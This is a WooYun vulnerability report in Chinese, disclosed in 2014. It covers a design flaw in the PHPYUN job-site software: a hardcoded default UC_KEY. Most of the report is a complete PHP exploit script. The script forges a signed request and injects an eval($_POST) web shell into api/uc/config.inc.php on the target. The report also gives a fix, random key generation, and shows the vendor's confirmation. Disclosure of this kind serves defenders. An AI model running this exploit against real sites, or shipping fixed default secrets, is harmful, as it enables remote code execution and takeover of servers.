PHPYUN设计缺陷导致轻易Getshell

漏洞详情

披露状态:

2014-01-22: 细节已通知厂商并且等待厂商处理中
2014-01-25: 厂商已经确认,细节仅向厂商公开
2014-01-28: 细节向第三方安全合作伙伴开放
2014-02-04: 细节向核心白帽子及相关领域专家公开
2014-02-14: 细节向普通白帽子公开
2014-03-06: 细节向实习白帽子公开
2014-04-22: 细节向公众公开

简要描述:

PHPYUN设计缺陷导致轻易Getshell

详细说明:

#1 设计缺陷

phpyun集成了部分ucenter功能,引入了UC_KEY,且默认设置为"phpyun123456"

define("UC_KEY","phpyun123456");



你们难道不知道UC_KEY这个值的威力的多大?好吧 我就当你们不知道,详情请见

 WooYun: Discuz的利用UC_KEY进行getshell 



http://www.2cto.com/Article/201401/272274.html



#2 利用UC_KEY实现Getshell

<?php
// 代码版权归原作者所有!
$timestamp = time()+10*3600;
$host="www.vulns.org";
$uc_key="phpyun123456";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://x\');eval($_POST[DOM]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://x</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;


function send($cmd){
global $host,$code;
$message = "POST /upload/api/uc/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;

//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}

}
?>



运行上面的代码

1.jpg



即可往 api/uc/config.inc.php 写入恶意的代码

11.jpg

漏洞证明:

# SO...

22.jpg

修复方案:

可参考Dz的修复方法 UC_KEY安装后随机生成

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-01-25 14:28

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无


漏洞评价: